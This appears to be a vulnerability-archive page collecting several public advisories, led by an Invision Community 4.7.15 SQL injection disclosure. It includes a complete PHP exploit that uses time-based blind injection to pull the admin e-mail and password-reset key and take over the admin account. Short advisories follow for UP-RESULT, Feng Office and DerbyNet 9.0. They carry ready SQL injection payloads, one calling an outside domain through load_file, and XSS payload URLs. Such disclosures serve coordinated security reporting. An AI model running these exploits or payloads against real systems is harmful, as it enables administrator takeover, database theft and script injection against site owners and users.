Invision Community versions 4.4.0 through 4.7.15 suffer from a remote SQL injection vulnerability in store.php.

--------------------------------------------------------------------  
Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
--------------------------------------------------------------------

[-] Software Link:

https://invisioncommunity.com

[-] Affected Versions:

All versions from 4.4.0 to 4.7.15.

[-] Vulnerability Description:

The vulnerability is located in the  
/applications/nexus/modules/front/store/store.php script.  
Specifically, into the  
IPS\nexus\modules\front\store\_store::_categoryView() method:

126 /* Apply Filters */  
127 if ( isset( \IPS\Request::i()->filter ) and \is_array(  
\IPS\Request::i()->filter ) )  
128 {  
129 $url = $url->setQueryString( 'filter', \IPS\Request::i()->filter );  
130 foreach ( \IPS\Request::i()->filter as $filterId => $allowedValues )  
131 {  
132 $where[] = array( \IPS\Db::i()->findInSet(  
"filter{$filterId}.pfm_values", array_map( 'intval', explode( ',',  
$allowedValues ) ) ) );  
133 $joins[] = array( 'table' => array( 'nexus_package_filters_map',  
"filter{$filterId}" ), 'on' => array(  
"filter{$filterId}.pfm_package=p_id AND  
filter{$filterId}.pfm_filter=?", $filterId ) );  
134 }  
135 }

User input passed through the "filter" request parameter is not  
properly sanitized before being  
assigned to the $where and $joins variables (lines 132 and 133), which  
are later used to execute  
some SQL queries. This can be exploited by unauthenticated attackers  
to carry out time-based or  
error-based Blind SQL Injection attacks. Subsequently, this might also  
be exploited to reset  
users' passwords and gain unauthorized access to the AdminCP, in order  
to achieve  
Remote Code Execution (RCE). Successful exploitation of this  
vulnerability requires  
the nexus application to be installed and configured with one "Product  
Group" at least.

[-] Proof of Concept:

https://karmainsecurity.com/pocs/CVE-2024-30163.php

[-] Solution:

Upgrade to version 4.7.16 or later.

[-] Disclosure Timeline:

[08/01/2024] - Vulnerability details sent to SSD Secure Disclosure  
[12/03/2024] - Version 4.7.16 released  
[20/03/2024] - CVE identifier requested  
[24/03/2024] - CVE identifier assigned  
[05/04/2024] - Coordinated public disclosure

[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2024-30163 to this vulnerability.

[-] Credits:

Vulnerability discovered by Egidio Romano.

[-] Other References:

https://invisioncommunity.com/release-notes/4716-r128/  
https://ssd-disclosure.com/ssd-advisory-ip-board-nexus-rce-and-blind-sqli/

[-] Original Advisory:

http://karmainsecurity.com/KIS-2024-02

-----------------------  
PoC:

<?php

/*  
    --------------------------------------------------------------------  
    Invision Community <= 4.7.15 (store.php) SQL Injection Vulnerability  
    --------------------------------------------------------------------

    author..............: Egidio Romano aka EgiX  
    mail................: n0b0d13s[at]gmail[dot]com  
    software link.......: https://invisioncommunity.com

    +-------------------------------------------------------------------------+  
    | This proof of concept code was written for educational purpose only.    |  
    | Use it at your own risk. Author will be not responsible for any damage. |  
    +-------------------------------------------------------------------------+

    [-] Vulnerability Description:

    The vulnerability is located in the /applications/nexus/modules/front/store/store.php script.  
    Specifically, into the IPS\nexus\modules\front\store\_store::_categoryView() method: user  
    input passed through the "filter" request parameter is not properly sanitized before being  
    assigned to the $where and $joins variables, which are later used to execute some SQL  
    queries. This can be exploited by unauthenticated attackers to carry out time-based  
    or error-based SQL Injection attacks.

    [-] Original Advisory:

    https://karmainsecurity.com/KIS-2024-02  
*/

set_time_limit(0);  
error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[-] cURL extension required!\n");

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

$url = $argv[1];  
$ch  = curl_init();  
$sec = 3; // number of seconds for SLEEP(): less seconds, less accurate

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/store/");

function sql_injection($sql)  
{  
  global $ch, $sec;

  $min = true;  
  $idx = 1;

  while(1)  
  {  
    $test = 256;

    for ($i = 7; $i >= 0; $i--)  
    {  
      $test = $min ? ($test - pow(2, $i)) : ($test + pow(2, $i));  
      $injection = "` ON 1 UNION SELECT IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},1,SLEEP({$sec})) OR ?=?#";  
      curl_setopt($ch, CURLOPT_POSTFIELDS, sprintf("cat=1&filter[%s]=1", rawurlencode($injection)));  
      $start = time(); curl_exec($ch); $secs = time() - $start;  
      $min = ($secs < $sec);  
    }

    if (($chr = $min ? ($test - 1) : ($test)) == 0) break;  
    $data .= chr($chr); $min = true; $idx++;  
    print "\r[*] Data: {$data}";  
  }

  return $data;  
}

print "[+] Step 1: fetching admin's e-mail address\n";

$email = sql_injection("SELECT email FROM core_members WHERE member_id=1");

print "\n[+] Step 2: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";

fgets(STDIN);

print "[+] Step 3: fetching the password reset key\n";

$vid = sql_injection("SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1");

print "\n[+] Step 4: taking over the admin account by resetting their password\n";

@unlink('./cookies.txt');

curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");  
curl_setopt($ch, CURLOPT_POST, false);  
curl_setopt($ch, CURLOPT_HEADER, true);  
curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');  
curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');

if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");

$passwd = md5(time());  
$params = "do=validate&vid={$vid}&mid=1&password={$passwd}&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";

curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Attack failed!\n");

print "[+] Done! You can log into the AdminCP with {$email}:{$passwd}\n";

Invision Community 4.7.15 SQL Injection

UP-RESULT version 0.1 2024 suffers from a remote SQL injection vulnerability.

    ## Title: upresult_0.1-2024 Multiple-SQLi## Author: nu11secur1ty## Date: 04/08/2024## Vendor: https://www.mayurik.com/## Software: https://www.sourcecodester.com/php/15653/best-student-result-management-system-project-source-code-php-and-mysql-free-download## Reference: https://portswigger.net/web-security/sql-injection## Description:The nid parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\qiccs55u6nnh6lxma520zou8ozusijm7da11orcg.tupaputka.com\\tuh'))+'was submitted in the nid parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.The attacker can get all information from the system by using thisvulnerability!STATUS: HIGH- Vulnerability[+]Payload:```mysql---Parameter: nid (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: nid=145448807' or '1766'='1766' AND 2997=2997 AND 'IBFU'='IBFU    Type: stacked queries    Title: MySQL >= 5.0.12 stacked queries (comment)    Payload: nid=145448807' or '1766'='1766';SELECT SLEEP(7)#    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: nid=145448807' or '1766'='1766' AND (SELECT 3474 FROM(SELECT(SLEEP(7)))eAdm) AND 'ubZR'='ubZR    Type: UNION query    Title: MySQL UNION query (NULL) - 4 columns    Payload: nid=145448807' or '1766'='1766' UNION ALL SELECTNULL,NULL,CONCAT(0x716a767871,0x76504a4f6455624669506c6a484150727767554e66574d7856554875684368426b4f72794374496e,0x716b787071),NULL#---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2024/upresult_0.1-2024)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/04/upresult01-2024-multiple-sqli.html)## Time spent:00:15:00

UP-RESULT 0.1 2024 SQL Injection

Feng Office version 3.10.8.21 suffers from a persistent cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: Feng Office version 3.10.8.21  - Stored XSS# Exploit Author: tmrswrr # Vendor Homepage: https://www.fengoffice.com/# version 3.10.8.21 1 ) Login admin https://127.0.0.1/Feng_Office/index.php?c=access&a=index#2 ) Click Tasks > "><img src=x onerrora=confirm() onerror=confirm(1)> add task 3 ) Click Add worked hours you will be see xss alert

Feng Office 3.10.8.21 Cross Site Scripting

DerbyNet 9.0 suffers from a remote SQL injection vulnerability in print/render/racer.inc.

CVE ID: CVE-2024-30923

Description:  
An SQL Injection vulnerability has been discovered in DerbyNet version 9.0, specifically within the `print/render/racer.inc` component. This vulnerability allows remote attackers to execute arbitrary code and disclose sensitive information by exploiting improper sanitization of the `where` clause in Racer Document Rendering.

Vulnerability Type: SQL Injection

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: print/render/racer.inc

Attack Type: Remote

Impact:  
- Code execution: True  
- Information Disclosure: True

Attack Vectors:  
The vulnerability is present in the `print/render/racer.inc` component of DerbyNet, due to insufficient sanitization of the `where` parameter within the URL. Attackers can manipulate SQL queries by injecting malicious SQL commands through the `where` parameter, as demonstrated in the following URL:  
- `http://127.0.0.1:8000/render-document.php/award/GoldCupAwardDocument?where=1`

This manipulation could lead to unauthorized access to database information and potential code execution on the server hosting the application.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 print/render/racer.inc SQL Injection

DerbyNet 9.0 suffers from a remote SQL injection vulnerability in ajax/query.slide.next.inc.

    CVE ID: CVE-2024-30928Description:An SQL Injection vulnerability has been discovered in DerbyNet version 9.0, particularly within the `ajax/query.slide.next.inc` file. This vulnerability allows remote attackers to execute arbitrary code and disclose sensitive information by exploiting the unvalidated `classids` parameter used in constructing SQL queries. This parameter is not properly sanitized before being included in the SQL statement, leading to a critical risk of SQL Injection.Vulnerability Type: SQL InjectionVendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: ajax/query.slide.next.incAttack Type: RemoteImpacts:- Code execution: True- Information Disclosure: TrueAttack Vectors:The vulnerability is primarily exploited by manipulating the `classids` parameter in the user's request to the `ajax/query.slide.next.inc` file. The lack of adequate input validation allows attackers to inject malicious SQL code through this parameter. Example attack vectors include:- Direct exploitation:- `http://127.0.0.1:8000/action.php?query=slide.next&mode=racer&classids=1`- Boolean-based blind SQL Injection:- Payload: `query=slide.next&mode=racer&classids=1) AND 4365=4365 AND (6880=6880`- UNION query SQL Injection:- Payload: `query=slide.next&mode=racer&classids=-3890) UNION ALL SELECT NULL,NULL,CHAR(113,107,120,122,113)||CHAR(79,97,117,85,112,79,82,85,75,114,65,66,118,100,117,107,79,118,111,104,67,105,87,86,72,110,107,119,113,86,106,107,115,100,110,109,98,77,85,115)||CHAR(113,118,120,120,113),NULL,NULL,NULL,NULL,NULL-- rDzQ`These vectors demonstrate how an attacker could manipulate SQL queries to potentially access or manipulate database information unauthorizedly.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 ajax/query.slide.next.inc SQL Injection

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in playlist.php.

    CVE ID: CVE-2024-30929Description:A Cross-Site Scripting (XSS) vulnerability has been found in DerbyNet version 9.0, affecting the `playlist.php` component. This issue allows remote attackers to execute arbitrary code by exploiting the `back` parameter. The application does not properly sanitize the `back` parameter before it is rendered on the page, thereby allowing the injection and execution of arbitrary JavaScript code.Vulnerability Type: Cross-Site Scripting (XSS)Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynetAffected Product Code Base: DerbyNet - v9.0Affected Component: playlist.phpAttack Type: RemoteImpact: Code executionAttack Vectors:The vulnerability can be exploited by crafting a URL that includes malicious JavaScript code as part of the `back` parameter. An example of such a URL is:- http://127.0.0.1:8000/playlist.php?back="><script>alert(1)</script>This example demonstrates how an attacker could inject and execute JavaScript within the context of the webpage, leading to potential security risks such as session hijacking, phishing, or unauthorized actions performed on behalf of the user.Discoverer: Valentin LobsteinReferences:- Official website: http://derbynet.com- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 playlist.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in racer-results.php.

CVE ID: CVE-2024-30927

Description:  
A Cross-Site Scripting (XSS) vulnerability is present in DerbyNet version 9.0, specifically within the `racer-results.php` component. This issue allows remote attackers to execute arbitrary code through the improper handling of the `racerid` parameter. The vulnerability is notably present within the HTML `<title>` tag, where the `racerid` parameter value is dynamically inserted directly into the page content without any sanitization or encoding.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: racer-results.php

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The XSS vulnerability can be exploited by inserting malicious JavaScript code into the `racerid` parameter of the URL. For example:  
- `http://127.0.0.1:8000/racer-results.php?racerid=</title><script>alert(1)</script>`

This method demonstrates how an attacker could manipulate the `racerid` parameter to inject and execute arbitrary JavaScript within the context of a user's session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 racer-results.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in inc/kiosks.inc.

CVE ID: CVE-2024-30926

Description:  
A Cross-Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, affecting the `./inc/kiosks.inc` component. This vulnerability permits remote attackers to execute arbitrary code by exploiting the `address_for_current_kiosk()` function. The issue stems from the improper sanitization of user-supplied input via the URL parameters `id` and `address`, which are directly utilized without validation. This oversight allows the execution of malicious JavaScript code through crafted URLs.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: ./inc/kiosks.inc

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The vulnerability can be exploited by manipulating URL parameters to inject malicious scripts. Examples include:  
- `http://127.0.0.1:8000/kiosk.php?id=<script>alert(1)</script>`  
- `http://127.0.0.1:8000/kiosk.php?address=<script>alert(1)</script>`

These manipulations demonstrate how an attacker could leverage unsanitized input to execute arbitrary JavaScript in the context of a user's session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 inc/kisosks.inc Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in photo-thumbs.php.

CVE ID: CVE-2024-30925

Description:  
A Cross-Site Scripting (XSS) vulnerability exists in DerbyNet version 9.0, specifically within the `photo-thumbs.php` component. This issue enables a remote attacker to execute arbitrary code through the improper handling of the `racerid` and `back` parameters. The vulnerability arises because the application dynamically generates URLs for navigation without adequately sanitizing these parameters, thus allowing the injection of malicious scripts.

Vulnerability Type: Cross-Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: photo-thumbs.php

Attack Type: Remote

Impact: Code execution

Attack Vectors:  
The XSS vulnerability can be exploited through manipulation of the `racerid` and `back` parameters in the URL. Examples of such manipulation include:  
- http://127.0.0.1:8000/photo-thumbs.php?repo=head&racerid=</script><script>alert(1)</script>  
- http://127.0.0.1:8000/photo-thumbs.php?back="><script>alert(1)</script></div>

These URLs demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

DerbyNet 9.0 photo-thumbs.php Cross Site Scripting

DerbyNet version 9.0 suffers from a cross site scripting vulnerability in checkin.php.

CVE ID: CVE-2024-30924

Description:  
A Cross Site Scripting (XSS) vulnerability has been identified in DerbyNet version 9.0, specifically within the `checkin.php` component. This vulnerability allows remote attackers to execute arbitrary code due to improper handling of the `order` URL parameter. The flaw lies in the way the `order` parameter is embedded directly into a JavaScript variable assignment without adequate sanitization or encoding, making it possible to inject scripts.

Vulnerability Type: Cross Site Scripting (XSS)

Vendor of Product: DerbyNet - Available on GitHub: https://github.com/jeffpiazza/derbynet

Affected Product Code Base: DerbyNet - v9.0

Affected Component: checkin.php

Attack Type: Remote

Impact: Code execution is possible as a result of this vulnerability.

Attack Vectors:  
The XSS vulnerability can be exploited by manipulating the `order` parameter in the URL. For example:  
- `http://127.0.0.1:8000/checkin.php?order=</script><script>alert(1)</script>`  
- `http://127.0.0.1:8000/checkin.php?order=';alert(1);//`

These attack vectors demonstrate how an attacker could inject and execute arbitrary JavaScript within the context of the user's browser session.

Discoverer: Valentin Lobstein

References:  
- Official website: http://derbynet.com  
- Source code on GitHub: https://github.com/jeffpiazza/derbynet

Tag

#php